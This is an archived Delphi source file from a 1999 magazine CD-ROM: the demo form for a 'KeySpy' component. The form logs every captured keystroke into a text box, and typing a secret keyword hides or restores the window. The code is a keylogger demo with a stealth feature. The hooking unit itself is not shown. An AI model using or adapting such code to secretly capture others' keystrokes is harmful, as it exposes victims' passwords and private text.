home *** CD-ROM | disk | FTP | other *** search
/ io Programmo 23 / IOPROG_23.ISO / SOFT / KEYSPY.ZIP / main.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  1999-01-21  |  2.0 KB  |  88 lines

  1. unit Main;
  2.  
  3. interface
  4.  
  5. uses
  6.   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  7.   Forms, Dialogs, StdCtrls, ShellAPI, Keyspy, ExtCtrls;
  8.  
  9. type
  10.   TForm1 = class(TForm)
  11.     KeySpy: TKeySpy;
  12.     Label1: TLabel;
  13.     Label2: TLabel;
  14.     Label3: TLabel;
  15.     GroupBox1: TGroupBox;
  16.     GroupBox2: TGroupBox;
  17.     Hook: TMemo;
  18.     Label4: TLabel;
  19.     GroupBox3: TGroupBox;
  20.     OnDown: TLabel;
  21.     OnUp: TLabel;
  22.     Image1: TImage;
  23.     procedure Label1Click(Sender: TObject);
  24.     procedure KeySpyKeySpyDown(Sender: TObject; Key: Byte; KeyStr: String);
  25.     procedure KeySpyKeySpyUp(Sender: TObject; Key: Byte; KeyStr: String);
  26.     procedure KeySpyKeyword(Sender: TObject);
  27.   private
  28.   public
  29.   end;
  30.  
  31. var
  32.   Form1: TForm1;
  33.  
  34. implementation
  35.  
  36. {$R *.DFM}
  37.  
  38. const
  39.   OldRet: Boolean = False;
  40.  
  41. procedure TForm1.Label1Click(Sender: TObject);
  42. begin
  43.   ShellExecute(GetDesktopWindow, 'open', 'mailto:xacker@phreaker.net', nil, nil, sw_ShowNormal);
  44. end;
  45.  
  46. procedure TForm1.KeySpyKeySpyDown(Sender: TObject; Key: Byte;
  47.   KeyStr: String);
  48. begin
  49.   OnDown.Caption := 'OnKeySpyDown: Key = ' + IntToStr(Key) + ',  KeyStr = ' + KeyStr;
  50. {  if KeyStr = '--Space' then
  51.   KeyStr := ' '
  52.   else
  53.    if KeyStr = '--Enter' then Hook.Lines.Add('');}
  54.   if (KeyStr[1] = '-') and (KeyStr[2] = '-') then
  55.    begin
  56.     Hook.Lines.Add('');
  57.     OldRet := True;
  58.    end
  59.   else
  60.    if OldRet then
  61.     begin
  62.      Hook.Lines.Add('');
  63.      OldRet := False;
  64.     end;
  65.   Hook.Text := Hook.Text + KeyStr;
  66.  
  67.   { For 16-bit only}
  68.   {$IFNDEF WIN32}
  69.   if (Length(Hook.Text) > $F0) then Hook.Clear;
  70.   {$ENDIF}
  71. end;
  72.  
  73. procedure TForm1.KeySpyKeySpyUp(Sender: TObject; Key: Byte;
  74.   KeyStr: String);
  75. begin
  76.   OnUp.Caption := 'OnKeySpyUp: Key = ' + IntToStr(Key) + ',  KeyStr = ' + KeyStr;
  77. end;
  78.  
  79. procedure TForm1.KeySpyKeyword(Sender: TObject);
  80. begin
  81.   if Visible then
  82.    Application.MessageBox('Type ''keyword'' to restore window.', 'Hiding...',
  83.                           mb_Ok or mb_IconInformation);
  84.   Visible := not Visible;
  85. end;
  86.  
  87. end.
  88.